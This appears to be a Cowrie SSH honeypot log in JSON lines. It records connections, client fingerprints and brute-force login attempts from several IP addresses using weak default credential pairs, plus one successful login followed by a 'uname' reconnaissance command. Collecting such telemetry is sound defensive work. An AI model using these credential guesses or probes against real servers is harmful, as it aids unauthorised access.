{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:25.212761Z","src_ip":"91.92.40.36","session":"3028f86cb387","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:29.861843Z","src_ip":"91.92.40.36","session":"3028f86cb387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":42998,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a1acb2e0b63","protocol":"ssh","message":"New connection: 102.210.148.92:42998 (159.203.135.109:22) [session: 2a1acb2e0b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:29.894424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:29.901143Z","src_ip":"102.210.148.92","session":"2a1acb2e0b63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64434,"dst_ip":"10.17.0.5","dst_port":22,"session":"693c4d9c1d66","protocol":"ssh","message":"New connection: 91.92.40.36:64434 (10.17.0.5:22) [session: 693c4d9c1d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:30.695123Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:30.828078Z","src_ip":"102.210.148.92","session":"2a1acb2e0b63","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:30.841549Z","src_ip":"91.92.40.36","session":"693c4d9c1d66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:30.845997Z","src_ip":"91.92.40.36","session":"693c4d9c1d66","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin1234","message":"login attempt [admin/Admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:31.633711Z","src_ip":"91.92.40.36","session":"693c4d9c1d66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway123","message":"login attempt [gateway/gateway123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:31.814938Z","src_ip":"102.210.148.92","session":"2a1acb2e0b63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:32.059971Z","src_ip":"91.92.40.36","session":"3028f86cb387","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:32.323358Z","src_ip":"91.92.40.36","session":"693c4d9c1d66","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:32.326750Z","src_ip":"91.92.40.36","session":"693c4d9c1d66","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:32.631794Z","src_ip":"91.92.40.36","session":"693c4d9c1d66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:32.637137Z","src_ip":"91.92.40.36","session":"693c4d9c1d66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":52798,"dst_ip":"159.203.135.109","dst_port":22,"session":"de924074a150","protocol":"ssh","message":"New connection: 14.63.196.175:52798 (159.203.135.109:22) [session: de924074a150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:32.667667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:32.672068Z","src_ip":"14.63.196.175","session":"de924074a150","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.25.10.135","src_port":59598,"dst_ip":"159.203.135.109","dst_port":22,"session":"06845bd72358","protocol":"ssh","message":"New connection: 118.25.10.135:59598 (159.203.135.109:22) [session: 06845bd72358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:32.744540Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:32.749985Z","src_ip":"118.25.10.135","session":"06845bd72358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:32.874175Z","src_ip":"14.63.196.175","session":"de924074a150","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:33.059176Z","src_ip":"102.210.148.92","session":"2a1acb2e0b63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12332112","message":"login attempt [root/12332112] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:33.711994Z","src_ip":"14.63.196.175","session":"de924074a150","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:34.917636Z","src_ip":"14.63.196.175","session":"de924074a150","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45458,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd250403f1dd","protocol":"ssh","message":"New connection: 91.92.40.36:45458 (10.17.0.5:22) [session: fd250403f1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:37.155401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:38.006804Z","src_ip":"91.92.40.36","session":"fd250403f1dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:38.009846Z","src_ip":"91.92.40.36","session":"fd250403f1dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"p@ssw0rd","message":"login attempt [student/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:41.577823Z","src_ip":"91.92.40.36","session":"fd250403f1dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:43.674747Z","src_ip":"91.92.40.36","session":"fd250403f1dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45546,"dst_ip":"10.17.0.5","dst_port":22,"session":"d542aa680dec","protocol":"ssh","message":"New connection: 91.92.40.36:45546 (10.17.0.5:22) [session: d542aa680dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:45.328059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:46.714087Z","src_ip":"91.92.40.36","session":"d542aa680dec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:46.717414Z","src_ip":"91.92.40.36","session":"d542aa680dec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":60896,"dst_ip":"159.203.135.109","dst_port":22,"session":"22d39629d9d8","protocol":"ssh","message":"New connection: 102.213.34.99:60896 (159.203.135.109:22) [session: 22d39629d9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:52.052626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:52.056579Z","src_ip":"102.213.34.99","session":"22d39629d9d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:52.226636Z","src_ip":"102.213.34.99","session":"22d39629d9d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59430,"dst_ip":"10.17.0.5","dst_port":22,"session":"69c4eac99bdd","protocol":"ssh","message":"New connection: 91.92.40.36:59430 (10.17.0.5:22) [session: 69c4eac99bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:52.382717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:52.882101Z","src_ip":"91.92.40.36","session":"69c4eac99bdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:52.886094Z","src_ip":"91.92.40.36","session":"69c4eac99bdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mima@2024","message":"login attempt [root/Mima@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:52.940074Z","src_ip":"102.213.34.99","session":"22d39629d9d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:53.371025Z","src_ip":"91.92.40.36","session":"d542aa680dec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:54.114338Z","src_ip":"102.213.34.99","session":"22d39629d9d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe,./","message":"login attempt [root/123qwe,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:55.252484Z","src_ip":"91.92.40.36","session":"69c4eac99bdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:55.828930Z","src_ip":"91.92.40.36","session":"d542aa680dec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:56.806843Z","src_ip":"91.92.40.36","session":"69c4eac99bdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59154,"dst_ip":"10.17.0.5","dst_port":22,"session":"a250a640fa3f","protocol":"ssh","message":"New connection: 91.92.40.36:59154 (10.17.0.5:22) [session: a250a640fa3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:00.710604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:00.894330Z","src_ip":"91.92.40.36","session":"a250a640fa3f","protocol":"ssh"}
